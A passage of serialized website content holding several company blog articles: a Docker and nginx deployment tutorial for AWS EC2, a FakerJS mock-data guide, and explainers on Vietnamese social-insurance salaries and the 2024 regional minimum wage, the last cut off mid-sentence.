container.",[34,11716,11717],{},"CMD — Provide a command and argument for the executable container. Parameters can be overridden and only a CMD.",[34,11719,11720],{},"WORKDIR — Set up working directory for other directives such as: RUN, CMD, ENTRYPOINT, COPY, ADD, ...",[34,11722,11723],{},"ARG — Define the variables value to be used during image build.",[34,11725,11726],{},"ENTRYPOINT — Provide a command and argument for the executable container.",[34,11728,11729],{},"EXPOSE — Declares the port of the image.",[34,11731,11732],{},"VOLUME — Create a directory mount point for accessing and storing data.",[11,11734,11735],{},"Example:",[605,11737,11740],{"className":11738,"code":11739,"language":610},[608],"FROM node:12-alpine\nRUN apk add git\nRUN mkdir -p \u002Fhome\u002Fnode\u002Fapp\nWORKDIR \u002Fhome\u002Fnode\u002Fapp\nCOPY package*.json .\u002F\nRUN npm install\nCOPY . .\nENV HOST=0.0.0.0 PORT=3334\nEXPOSE $PORT\nCMD [ \"node\", \".\" ]\n",[612,11741,11739],{"__ignoreMap":66},[403,11743,11745],{"id":11744},"viii-the-other-concepts",[20,11746,11747],{},"VIII. THE OTHER CONCEPTS",[11,11749,11750,11753],{},[20,11751,11752],{},"Docker Client",": Interacts with docker via command in terminal. Docker Client will use the API to send commands to Docker Daemon.",[11,11755,11756,11759],{},[20,11757,11758],{},"Docker Daemon",": Docker server for requests from the Docker API. It manages images, containers, networks and volumes.",[11,11761,11762,11765],{},[20,11763,11764],{},"Docker Volumes",": A place that stores data continuously for using and creating apps.",[11,11767,11768,11771],{},[20,11769,11770],{},"Docker Registry",": Docker Images's private storage. Images are pushed into the registry and the client pulls images from the registry. You can use your own registry or the registry of your provider such as: AWS, Google Cloud, Microsoft Azure.",[11,11773,11774,11777],{},[20,11775,11776],{},"Docker Hub",":  Docker Images largest registry (default). Can find images and store your own images on Docker Hub (free).",[11,11779,11780,11783],{},[20,11781,11782],{},"Docker Repository",": set of Docker Images with the same name but different tags. Example: node: 12-alpine.",[11,11785,11786,11789],{},[20,11787,11788],{},"Docker Networking",": allows to connect containers together. This connection can be on a host or more hosts.",[11,11791,11792,11795,11796,11799],{},[20,11793,11794],{},"Docker Compose",": The tool allows to run apps with multiple Docker containers easily. Docker Compose allows you to configure commands in the ",[51,11797,11798],{},"docker-compose.yml"," file for reuse. Available with Docker installed.",[11,11801,11802,11805],{},[20,11803,11804],{},"Docker Swarm",": coordinate container deployment.",[11,11807,11808,11811],{},[20,11809,11810],{},"Docker Services",": The  containers in production. A service only runs an image but it encrypts the way to run the image - which port to use, how many copies of the container to run the service has the necessary and immediate performance.",[403,11813,11815],{"id":11814},"ix-basic-commands-in-docker",[20,11816,11817],{},"IX. BASIC COMMANDS IN DOCKER",[11,11819,11820],{},"List image\u002Fcontainer:",[605,11822,11825],{"className":11823,"code":11824,"language":610},[608],"docker image\u002Fcontainer ls\n",[612,11826,11824],{"__ignoreMap":66},[11,11828,11829],{},"List all containers:",[605,11831,11834],{"className":11832,"code":11833,"language":610},[608],"docker ps –a\n",[612,11835,11833],{"__ignoreMap":66},[11,11837,11838],{},"Stop a container:",[605,11840,11843],{"className":11841,"code":11842,"language":610},[608],"docker stop \u003Ccontainer name>\n",[612,11844,11842],{"__ignoreMap":66},[11,11846,11847],{},"Run the container from the image and change the container name:",[605,11849,11852],{"className":11850,"code":11851,"language":610},[608],"docker run –name \u003Ccontainer name> \u003Cimage name>\n",[612,11853,11851],{"__ignoreMap":66},[11,11855,11856],{},"Stop all container:",[605,11858,11861],{"className":11859,"code":11860,"language":610},[608],"docker stop $(docker ps –a –q)\n",[612,11862,11860],{"__ignoreMap":66},[11,11864,11865],{},"Show log a container:",[605,11867,11870],{"className":11868,"code":11869,"language":610},[608],"docker logs \u003Ccontainer name>\n",[612,11871,11869],{"__ignoreMap":66},[11,11873,11874],{},"Build an image from container:",[605,11876,11879],{"className":11877,"code":11878,"language":610},[608],"docker build -t \u003Ccontainer name> .\n",[612,11880,11878],{"__ignoreMap":66},[11,11882,11883],{},"Create a container running in the background:",[605,11885,11888],{"className":11886,"code":11887,"language":610},[608],"docker run -d \u003Cimage name>\n",[612,11889,11887],{"__ignoreMap":66},[11,11891,11892],{},"Start a container:",[605,11894,11897],{"className":11895,"code":11896,"language":610},[608],"docker start \u003Ccontainer name>\n",[612,11898,11896],{"__ignoreMap":66},[11,11900,11901,11902],{},"See more: ",[55,11903,11904],{"href":11904,"rel":11905},"https:\u002F\u002Fdocs.docker.com\u002Freference\u002F",[59],[403,11907,11909],{"id":11908},"x-initial-install",[20,11910,11911],{},"X. INITIAL INSTALL",[11,11913,11914],{},"Step 1: Access to EC2 of AWS.",[31,11916,11917,11920],{},[34,11918,11919],{},"Open Tera Term application to access.",[34,11921,11922],{},"Enter host server into Host textbox.",[438,11924],{"className":11925,"alt":66,"src":11926,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163035\u002Fhost-teraterm.png",[31,11928,11929],{},[34,11930,11931],{},"Enter username and key, then OK press.",[438,11933],{"className":11934,"alt":66,"src":11935,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163312\u002Fkey-teraterm.png",[31,11937,11938],{},[34,11939,11940],{},"Screen after access.",[438,11942],{"className":11943,"alt":66,"src":11944,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F04163531\u002FTerminal.png",[11,11946,11947],{},"Step 2: Install docker.",[11,11949,11950],{},"1. Update the packages on your instance",[605,11952,11955],{"className":11953,"code":11954,"language":610},[608],"sudo yum update -y\n",[612,11956,11954],{"__ignoreMap":66},[11,11958,11959],{},"2. Install Docker",[605,11961,11964],{"className":11962,"code":11963,"language":610},[608],"sudo yum install docker -y\n",[612,11965,11963],{"__ignoreMap":66},[11,11967,11968],{},"3. Start the Docker Service",[605,11970,11973],{"className":11971,"code":11972,"language":610},[608],"sudo service docker start\n",[612,11974,11972],{"__ignoreMap":66},[11,11976,11977],{},"4. Add the ec2-user to the docker group so you can execute Docker commands without using sudo.",[605,11979,11982],{"className":11980,"code":11981,"language":610},[608],"sudo usermod -a -G docker ec2-user\n",[612,11983,11981],{"__ignoreMap":66},[11,11985,11986],{},"Step 3: Install git and clone\u002Fpull source code.",[11,11988,11989],{},"1. Install git",[605,11991,11994],{"className":11992,"code":11993,"language":610},[608],"sudo yum install git\n",[612,11995,11993],{"__ignoreMap":66},[11,11997,11998],{},"2. Clone\u002Fpull source code.",[605,12000,12003],{"className":12001,"code":12002,"language":610},[608],"git clone https:\u002F\u002FusernameToken:passwordToken@gitlab.com\u002F\u003Cproject name>\u002F\u003Cgit name>.git\nor\ngit pull origin develop\n",[612,12004,12002],{"__ignoreMap":66},[11,12006,12007,12008,1673],{},"** With usernameToken is name's deploy token and passwordToken is a random string of characters.(See more ",[55,12009,1153],{"href":12010,"rel":12011},"https:\u002F\u002Fdocs.gitlab.com\u002Fee\u002Fuser\u002Fproject\u002Fdeploy_tokens\u002F",[59],[403,12013,12015],{"id":12014},"xi-deploy","XI. DEPLOY",[11,12017,12018],{},"Step 1: Go to the directory containing the source code",[605,12020,12023],{"className":12021,"code":12022,"language":610},[608],"cd \u003Cproject folder>\n",[612,12024,12022],{"__ignoreMap":66},[11,12026,12027],{},"Dockerfile-dev file in source is configured as follows:",[605,12029,12032],{"className":12030,"code":12031,"language":610},[608],"# Check out https:\u002F\u002Fhub.docker.com\u002F_\u002Fnode to select a new base image\nFROM node:12-alpine\nRUN apk add git\n\n# Set to a non-root built-in user `node`\nUSER node\n\n# Create app directory (with user `node`)\nRUN mkdir -p \u002Fhome\u002Fnode\u002Fapp\nWORKDIR \u002Fhome\u002Fnode\u002Fapp\n\nENV NODE_ENV=\"\u003CEnvironment name>\"\nENV PORT=\"3334\" ENV DEBUG=\"front:*\"\nENV SESSION_SECRET=\"session-secret\"\n\n# Install app dependencies\n# A wildcard is used to ensure both package.json AND package-lock.json are copied\n# where available (npm@5+)\nCOPY package*.json .\u002F\nRUN npm install\n\n# Bundle app source code\nCOPY . .\n\n# Bind to all network interfaces so that it can be mapped to the host OS\nENV HOST=0.0.0.0 PORT=3334\nEXPOSE $PORT\nCMD [ \"node\", \".\" ]\n",[612,12033,12031],{"__ignoreMap":66},[11,12035,12036],{},"Step 2: Build images source",[605,12038,12041],{"className":12039,"code":12040,"language":610},[608],"docker build --no-cache -t \u003CImage name> -f Dockerfile.dev . (Using for development)\n",[612,12042,12040],{"__ignoreMap":66},[11,12044,12045],{},"* -t: option tags of image.",[11,12047,12048],{},"* . : source folder",[11,12050,12051],{},"* --no-cache: not save cache.",[11,12053,12054],{},"Step 3: Run container from image source.",[605,12056,12059],{"className":12057,"code":12058,"language":610},[608],"docker run -dp \u003CHost port>:\u003CContainer port> --name \u003Ccontainer name> \u003CImage name>\n",[612,12060,12058],{"__ignoreMap":66},[11,12062,12063],{},"* --name: set name for container, this is  evaluate-system. Name is unique, If not, docker generate.",[11,12065,12066],{},"* -p: open port container.",[11,12068,12069],{},"* -d: turn on background mode",[11,12071,12072],{},"Step 4: Go to nginx folder in source.",[605,12074,12077],{"className":12075,"code":12076,"language":610},[608],"cd nginx\n",[612,12078,12076],{"__ignoreMap":66},[11,12080,12081],{},"In nginx folder include 2 file are default.conf and Dockerfile",[31,12083,12084],{},[34,12085,12086],{},"File default.conf",[605,12088,12091],{"className":12089,"code":12090,"language":610},[608],"server {\n    location \u002F {\n          proxy_set_header Host $host;\n          proxy_set_header X-Real-IP $remote_addr;\n          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n          proxy_set_header X-Forwarded-Proto $scheme;\n          proxy_pass http:\u002F\u002Fapp:3334;\n    }\n}\n",[612,12092,12090],{"__ignoreMap":66},[31,12094,12095],{},[34,12096,12097],{},"File Dockerfile",[605,12099,12102],{"className":12100,"code":12101,"language":610},[608],"FROM nginx\nRUN rm \u002Fetc\u002Fnginx\u002Fconf.d\u002F* \nCOPY default.conf \u002Fetc\u002Fnginx\u002Fconf.d\u002F\n",[612,12103,12101],{"__ignoreMap":66},[11,12105,12106],{},"Build image nginx for source",[605,12108,12111],{"className":12109,"code":12110,"language":610},[608],"docker build -t es\u002Fnginx .\n",[612,12112,12110],{"__ignoreMap":66},[11,12114,12115],{},"Run container es\u002Fnginx",[605,12117,12120],{"className":12118,"code":12119,"language":610},[608],"docker run -dp 80:80 --link \u003Ccontainer name>:app --name nginx-proxy es\u002Fnginx\n",[612,12121,12119],{"__ignoreMap":66},[11,12123,12124],{},"Step 5: Show images and containers.",[31,12126,12127],{},[34,12128,12129],{},"List image",[438,12131],{"className":12132,"alt":66,"src":12133,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122425\u002Fimages-ec2.png",[31,12135,12136],{},[34,12137,12138],{}," List container.",[438,12140],{"className":12141,"alt":66,"src":12142,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122548\u002Fcontainer-ec2-1024x87.png",[11,12144,12145],{},"Step 6: Access to web",[438,12147],{"className":12148,"alt":66,"src":12149,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F28122802\u002Flogin-ec2-1024x490.jpg",[403,12151,12153],{"id":12152},"xii-references","XII. REFERENCES",[11,12155,12156],{},[55,12157,11578],{"href":11578,"rel":12158},[59],[11,12160,12161],{},[55,12162,11904],{"href":11904,"rel":12163},[59],[11,12165,12166],{},[55,12167,12168],{"href":12168,"rel":12169},"https:\u002F\u002Fdocs.docker.com\u002F",[59],[11,12171,12172],{},[55,12173,12174],{"href":12174,"rel":12175},"https:\u002F\u002Fegghead.io\u002Flessons\u002Fnode-js-setup-an-nginx-proxy-for-a-node-js-app-with-docker",[59],{"title":66,"searchDepth":67,"depth":67,"links":12177},[12178,12179,12180,12181,12182,12183,12184,12185,12186,12187,12188,12189],{"id":11539,"depth":67,"text":11542},{"id":11548,"depth":67,"text":11551},{"id":11569,"depth":67,"text":11572},{"id":11582,"depth":67,"text":11585},{"id":11591,"depth":67,"text":11594},{"id":11600,"depth":67,"text":11603},{"id":11685,"depth":67,"text":11688},{"id":11744,"depth":67,"text":11747},{"id":11814,"depth":67,"text":11817},{"id":11908,"depth":67,"text":11911},{"id":12014,"depth":67,"text":12015},{"id":12152,"depth":67,"text":12153},"2021-03-18","I. WHAT IS DOCKER? Docker is an open platform for developing, deploying, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. With Docker, you can manage your infrastructure in the same ways you manage your applications.",{},"\u002Fnews\u002Flaunch-with-docker",{"title":11534,"description":12191},"news\u002Flaunch-with-docker","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05103100\u002Flogo-docker.png","07MRsPUQt7OayDXCCldTJ9SgA3eHNEkXNZXNb1Hrxu8",{"id":12199,"title":12200,"body":12201,"category":69,"created by":70,"date":12300,"description":12205,"extension":72,"meta":12301,"navigation":74,"path":12302,"sections":76,"seo":12303,"stem":12304,"thumbnail":12305,"__hash__":12306},"content_en\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet.md","SOCIAL INSURANCE PREMIUMS: 05 INFORMATION YOU NEED TO KNOW",{"type":8,"value":12202,"toc":12298},[12203,12206,12211,12214,12217,12220,12225,12228,12231,12234,12237,12242,12245,12248,12253,12256,12259,12262,12267,12270,12273,12276,12282,12290],[11,12204,12205],{},"The salary paid for social insurance directly determines the level of employees' entitlement to social insurance benefits such as unemployment, maternity benefits; sicknesses; pension and one-time social insurance benefits. However, many workers still wonder about this salary.",[11,12207,12208],{},[20,12209,12210],{},"1. Is it that the salary paid for social insurance would be the actual salary we receive?",[11,12212,12213],{},"The employee is paid by the employer to the salary of 05 million VND\u002Fmonth; 06 million VND\u002F month; 10 million VND \u002F month ... wonder if that salary is also his salary paid for social insurance.",[11,12215,12216],{},"The truth is not like that. The salary paid for social insurance is not the salary that employees receive monthly, in all cases. This is a salary decided by the employer, must not be lower than the minimum regional wage and not 20 times higher than the base salary.",[11,12218,12219],{},"The minimum regional wage in 2021 will be: Region 1: 4,420,000 VND\u002Fmonth; Region 2: 3,920,000 VND\u002Fmonth; Region 3: 3,430,000 VND\u002Fmonth; Region 4: 3,070,000 VND\u002Fmonth.",[11,12221,12222],{},[20,12223,12224],{},"2. Can I pay social insurance on the entire salary?",[11,12226,12227],{},"There are a certain number of companies, especially foreign ones, in order to retain employees, they are ready to pay social insurance at the actual salary of the employee.",[11,12229,12230],{},"Example: Mr. A's salary is 20 million VND\u002Fmonth and the company also pays the social insurance for him at 20 million VND\u002Fmonth.",[11,12232,12233],{},"There is nothing wrong with that. And of course, the higher the salary paid for social insurance, the higher the level of entitlement to benefits. However, despite paying social insurance for employees with the full salary, this premium rate is still controlled as \"not higher than 20 times the base salary\" (Clause 3, Article 6 of Decision 595 \u002F QD-BHXH).",[11,12235,12236],{},"The current base salary is 1.49 million VND\u002Fmonth. Therefore, the maximum salary for social insurance is 29.8 million VND\u002Fmonth.",[11,12238,12239],{},[20,12240,12241],{},"3. Is it that the salary paid for social insurance not only includes salary?",[11,12243,12244],{},"Clause 1, Article 30 of Circular 59\u002F2015 \u002F TT-BLDTBXH stipulates: Monthly salary paid for social insurance for the employees who pay social insurance is following to the salary system decided by the employer, including salary, allowances (responsibility allowance, seniority allowance, attraction allowance, position allowance…); and other additional income.",[11,12246,12247],{},"Thus, the salary paid for social insurance not only includes salary but also includes allowances and other additional income.",[11,12249,12250],{},[20,12251,12252],{},"4. Is it that the salary paid for social insurance would be the basic salary?",[11,12254,12255],{},"Currently, according to current documents, the concept of \"basic salary\" does not exist. This is a common term for many workers. Which, many employees believe that the basic salary is the salary paid for social insurance.",[11,12257,12258],{},"However, as analyzed in section 3., the salary paid for social insurance not only includes salary but also includes allowances and other supplements.",[11,12260,12261],{},"Meanwhile, the basic salary is understood as the lowest salary that the employee receives, excluding allowances, bonuses, benefits and other additional income.",[11,12263,12264],{},[20,12265,12266],{},"5. Which is the salary that I pay for voluntary social insurance?",[11,12268,12269],{},"Many employees wonder about the salary paid for voluntary social insurance. In fact, the voluntary social insurance payment is not based on salary, but more precisely based on the income of the participants.",[11,12271,12272],{},"According to Clause 1, Article 10 of Decision 595\u002FQD-BHXH, the monthly voluntary social insurance premium of the participant is 22% of income level.",[11,12274,12275],{},"In which, the income level is selected by the participants, but it must be at least equal to the poverty line of rural areas (700,000 VND\u002Fperson\u002Fmonth) and not over 20 times the base salary (equivalent to 29.8 million VND\u002Fperson\u002Fmonth)",[11,12277,12278],{},[20,12279,12280],{},[51,12281,201],{},[11,12283,12284,12285,212],{},"1. ",[55,12286,12289],{"href":12287,"rel":12288},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FQuyet-dinh-595-QD-BHXH-Quy-trinh-thu-bao-hiem-cap-so-bao-hiem-the-bao-hiem-2017-348047.aspx",[59],"Decision 595\u002FQD-BHXH",[11,12291,12292,12293,12297],{},"2. [Circular 59\u002F2015\u002FTT-BLDTBXH](",[55,12294,12295],{"href":12295,"rel":12296},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002F",[59],"\nThong-tu-59-2015-TT-BLDTBXH-huong-dan-Luat-bao-hiem-xa-hoi-ve-bao-hiem-xa-hoi-bat-buoc-299644.aspx)",{"title":66,"searchDepth":67,"depth":67,"links":12299},[],"2021-04-19",{},"\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet",{"title":12200,"description":12205},"news\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F14160239\u002FLuongDongBHXH.png","RPIq5RmJKxQmimHHtGpnKsyT4nTXEO_Zu8-ho_VqVfc",{"id":12308,"title":12309,"body":12310,"category":1319,"created by":70,"date":12316,"description":259,"extension":72,"meta":12317,"navigation":74,"path":12318,"sections":76,"seo":12319,"stem":12320,"thumbnail":12321,"__hash__":12322},"content_en\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem.md","(日本語) ソフトウェア開発モデルにおけるテストの特徴",{"type":8,"value":12311,"toc":12314},[12312],[11,12313,259],{},{"title":66,"searchDepth":67,"depth":67,"links":12315},[],"2024-12-04",{},"\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem",{"title":12309,"description":259},"news\u002Fmo-hinh-vong-doi-phat-trien-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F02171801\u002FScreenshot-2024-12-02-171532.png","mf77Lgn9aR-CWfmIOdpmcfIQTrEmTQaw4h829Ebgmto",{"id":12324,"title":12325,"body":12326,"category":1319,"created by":4115,"date":12523,"description":12524,"extension":72,"meta":12525,"navigation":74,"path":12526,"sections":76,"seo":12527,"stem":12528,"thumbnail":12529,"__hash__":12530},"content_en\u002Fnews\u002Fmockdata-fakerjs.md","Mock data with FakerJs",{"type":8,"value":12327,"toc":12519},[12328,12334,12337,12344,12353,12364,12370,12373,12379,12382,12388,12391,12397,12400,12406,12409,12415,12418,12421,12427,12429,12435,12442,12448,12451,12457,12463,12467,12470,12476,12478,12484,12488,12491,12497,12502,12505,12507,12512],[395,12329,12331],{"id":12330},"what-is-fakerjs",[20,12332,12333],{},"What is FakerJs ?",[11,12335,12336],{},"FakerJs is a JavaScript library that helps generate random data according to different types of data such as email, phone number, address, password, image and so on…",[11,12338,12339,12340],{},"Demo: ",[55,12341,12342],{"href":12342,"rel":12343},"https:\u002F\u002Frawgit.com\u002FMarak\u002Ffaker.js\u002Fmaster\u002Fexamples\u002Fbrowser\u002Findex.html",[59],[395,12345,12347,507,12350],{"id":12346},"when-is-it-useful",[20,12348,12349],{},"When is it",[20,12351,12352],{},"useful?",[31,12354,12355,12358,12361],{},[34,12356,12357],{},"When working with the Front End, we need the data to be processed on the user interface when the real data from the API is incomplete.",[34,12359,12360],{},"Creates dummy data sent from API when components connecting to database have problems (database, service, host ...)",[34,12362,12363],{},"Generate json sample data for API testing.",[395,12365,12367],{"id":12366},"nodejs-usage",[20,12368,12369],{},"NodeJS usage",[11,12371,12372],{},"Via npm:",[605,12374,12377],{"className":12375,"code":12376,"language":610},[608],"npm i faker\n",[612,12378,12376],{"__ignoreMap":66},[11,12380,12381],{},"Import (TypeScript project):",[605,12383,12386],{"className":12384,"code":12385,"language":610},[608],"import faker = require(\"faker\");\n",[612,12387,12385],{"__ignoreMap":66},[11,12389,12390],{},"OR JavaScript project:",[605,12392,12395],{"className":12393,"code":12394,"language":610},[608],"var faker = require(\"faker\");\n",[612,12396,12394],{"__ignoreMap":66},[11,12398,12399],{},"For example, create 3 random Employee objects by FakerJs:",[605,12401,12404],{"className":12402,"code":12403,"language":610},[608],"const generateEmployee = () => {\n\n  return {\n\n    id: faker.random.uuid(),\n\n    first_name: faker.name.firstName(),\n\n    last_name: faker.name.lastName(),\n\n    email: faker.internet.email(),\n\n  };\n\n};\n\n\u002F\u002FReturn 3 object users\n\n=>> Array.from({ length: 3 }, generateEmployee)\n",[612,12405,12403],{"__ignoreMap":66},[11,12407,12408],{},"The result:",[605,12410,12413],{"className":12411,"code":12412,"language":610},[608],"[\n  {\n    \"id\": \"653551ca-29dc-458d-90dd-1c7a04004350\",\n    \"first_name\": \"Yadira\",\n    \"last_name\": \"Zieme\",\n    \"email\": \"Russel_Will88@yahoo.com\"\n  },\n  {\n    \"id\": \"14243402-a6f9-4005-bc61-bb1d25f23183\",\n    \"first_name\": \"Nyah\",\n    \"last_name\": \"Hermiston\",\n    \"email\": \"Sigrid77@gmail.com\"\n  },\n  {\n    \"id\": \"60dbec10-2898-4571-8187-31072f849ed9\",\n    \"first_name\": \"Reed\",\n    \"last_name\": \"Towne\",\n    \"email\": \"Alejandrin.Simonis@hotmail.com\"\n  }\n]\n",[612,12414,12412],{"__ignoreMap":66},[11,12416,12417],{},"Faker Js now supports multi language generation. Example:",[11,12419,12420],{},"Define the locale before creating the employee object:",[605,12422,12425],{"className":12423,"code":12424,"language":610},[608],"faker.locale = 'ja';\n",[612,12426,12424],{"__ignoreMap":66},[11,12428,12408],{},[605,12430,12433],{"className":12431,"code":12432,"language":610},[608],"[\n  {\n    \"id\": \"c0a9b596-ade2-4d9e-bddc-3a6e6ed43fcb\",\n    \"first_name\": \"結菜\",\n    \"last_name\": \"加藤\",\n    \"email\": \"海翔_井上@gmail.com\"\n  },\n  {\n    \"id\": \"12381746-bb9e-479c-adf0-ba7887392a06\",\n    \"first_name\": \"杏\",\n    \"last_name\": \"渡辺\",\n    \"email\": \"結菜_清水11@gmail.com\"\n  },\n  {\n    \"id\": \"264a8702-3318-43d1-9518-748046ff6ac5\",\n    \"first_name\": \"心愛\",\n    \"last_name\": \"清水\",\n    \"email\": \"結衣_山田57@gmail.com\"\n  }\n]\n",[612,12434,12432],{"__ignoreMap":66},[11,12436,12437,12438],{},"Available data types and languages refer to: ",[55,12439,12440],{"href":12440,"rel":12441},"http:\u002F\u002Fmarak.github.io\u002Ffaker.js\u002F",[59],[395,12443,12445],{"id":12444},"seed-in-fakerjs",[20,12446,12447],{},"Seed in FakerJs",[11,12449,12450],{},"FakerJs helps us to generate random data. But in some cases, we need the data generated to be the same in different processes. Seed helps us to solve this:",[605,12452,12455],{"className":12453,"code":12454,"language":610},[608],"    faker.seed(1);\n\n    var number1st = faker.random.number(); \u002F\u002F name1st = 123\n\n    \u002F\u002F Setting the seed again resets the sequence.\n\n    faker.seed(1);\n\n    var number2nd = faker.random.number(); \u002F\u002F number2nd = 123\n\n    \u002F\u002F => number1st === number2nd\n",[612,12456,12454],{"__ignoreMap":66},[395,12458,12460],{"id":12459},"other-services-of-fakerjs",[20,12461,12462],{},"Other services of FakerJs",[403,12464,12466],{"id":12465},"fakerjs-api","FakerJs API",[11,12468,12469],{},"The API will return a single data type field according to the parameter when requested",[605,12471,12474],{"className":12472,"code":12473,"language":610},[608],"http:\u002F\u002Ffaker.hook.io\u002F?property=internet.email&locale=en\n",[612,12475,12473],{"__ignoreMap":66},[11,12477,12408],{},[605,12479,12482],{"className":12480,"code":12481,"language":610},[608]," \"Ted37@hotmail.com\"\n",[612,12483,12481],{"__ignoreMap":66},[403,12485,12487],{"id":12486},"faker-cloud","Faker Cloud",[11,12489,12490],{},"Quickly create one or more dummy data, very useful for when we need a lot of data to test the API, the command to insert into the database series, etc... Support many formats CSV, JSON, MySQL, MSSQL etc...",[11,12492,12493],{},[55,12494,12495],{"href":12495,"rel":12496},"https:\u002F\u002Ffakercloud.com\u002F",[59],[395,12498,12499],{"id":8564},[20,12500,12501],{},"Summary:",[11,12503,12504],{},"FakerJs is a handy and compact library. It is suitable for both back-end, front-end and especially FakerCloud which is quite suitable for testers. It simplifies many things that are almost time-consuming to do such as inserting a series of records into the database, create JSON lists to send to the API, support multilingual data, etc.",[11,12506,201],{},[11,12508,12284,12509],{},[55,12510,12440],{"href":12440,"rel":12511,"title":12440},[59],[11,12513,12514,12515],{},"2. ",[55,12516,12517],{"href":12517,"rel":12518,"title":12517},"https:\u002F\u002Fzetcode.com\u002Fjavascript\u002Ffakerjs\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":12520},[12521,12522],{"id":12465,"depth":67,"text":12466},{"id":12486,"depth":67,"text":12487},"2021-05-05","What is FakerJs ? FakerJs is a JavaScript library that helps generate random data according to different types of data such as email, phone number, address, password, image and so on…",{},"\u002Fnews\u002Fmockdata-fakerjs",{"title":12325,"description":12524},"news\u002Fmockdata-fakerjs","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05103100\u002FFaker.png","KTGHsffJHjcT1hN8KonxSOEOWVs-bgYheo4guQ0Kzw8",{"id":12532,"title":12533,"body":12534,"category":69,"created by":4334,"date":12750,"description":12751,"extension":72,"meta":12752,"navigation":74,"path":12753,"sections":76,"seo":12754,"stem":12755,"thumbnail":12756,"__hash__":12757},"content_en\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024.md","REGIONAL MINIMUM WAGE FROM JULY 1, 2024",{"type":8,"value":12535,"toc":12748},[12536,12541,12550,12555,12576,12579,12582,12590,12593,12598,12604,12681,12686,12694,12699,12721,12725],[11,12537,12538],{},[20,12539,12540],{},"I. The schedule of regional minimum wage increase in 2024",[11,12542,12543,12544,12549],{},"According to the ",[55,12545,12548],{"href":12546,"rel":12547},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung-119240322185014301.htm",[59],"Draft Decree prescribing the regional minimum wage",", the time to apply the new regional minimum wage is from July 1, 2024.",[11,12551,12552],{},[20,12553,12554],{},"II. How does the regional minimum wage change?",[31,12556,12557,12560,12567],{},[34,12558,12559],{},"The Ministry of Labor - Invalids and Social Affairs is drafting a Decree regulating the minimum wage for employees working under labor contracts. Accordingly, the Ministry proposes to adjust the minimum wage by 6% compared to the current level.",[34,12561,12562,12563,12566],{},"On January 12, 2024, the National Salary Council issued report ",[51,12564,12565],{},"No. 02\u002FBC-HDTLQG"," to the Government recommending adjusting the regional minimum wage to an average increase of 6%, applicable from July 1, 2024.",[34,12568,12569,12570,12575],{},"From July 1, 2024, the salary policy will undergo comprehensive reform ",[55,12571,12574],{"href":12572,"rel":12573},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018-cai-cach-chinh-sach-tien-luong-doi-voi-can-bo-cong-chuc-vien-chuc-382336.aspx",[59],"Resolution 27-NQ\u002FTW"," In 2018 of the Seventh Conference of the 12th Central Committee of the Communist Party of Vietnam, public sector salaries will increase, accordingly, there needs to be an adjustment in the minimum salary of the business sector to ensure general correlation.",[11,12577,12578],{},"The change in the regional minimum wage is intended to reflect the current economic situation and living standards while ensuring that employees have a basic income level consistent with the cost of living.",[11,12580,12581],{},"Accordingly, the regional minimum wage applied in 2024 will have 2 stages:",[11,12583,12584,12585],{},"(1) From January 1, 2024 to June 30, 2024: the regional minimum wage applies according to ",[55,12586,12589],{"href":12587,"rel":12588},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP-muc-luong-toi-thieu-nguoi-lao-dong-lam-viec-theo-hop-dong-515984.aspx",[59],"Decree 38\u002F2022\u002FND-CP.",[11,12591,12592],{},"(2) From July 1, 2024 to December 31, 2024: Apply the new regional minimum wage (an increase of 6% compared to the first 6 months of 2024).",[11,12594,12595],{},[20,12596,12597],{},"III. The regional minimum wage applies from July 1, 2024",[11,12599,12543,12600,12603],{},[55,12601,12548],{"href":12546,"rel":12602},[59]," for employees working under employment contracts, from July 1, 2024, the regional minimum wage is provided for as 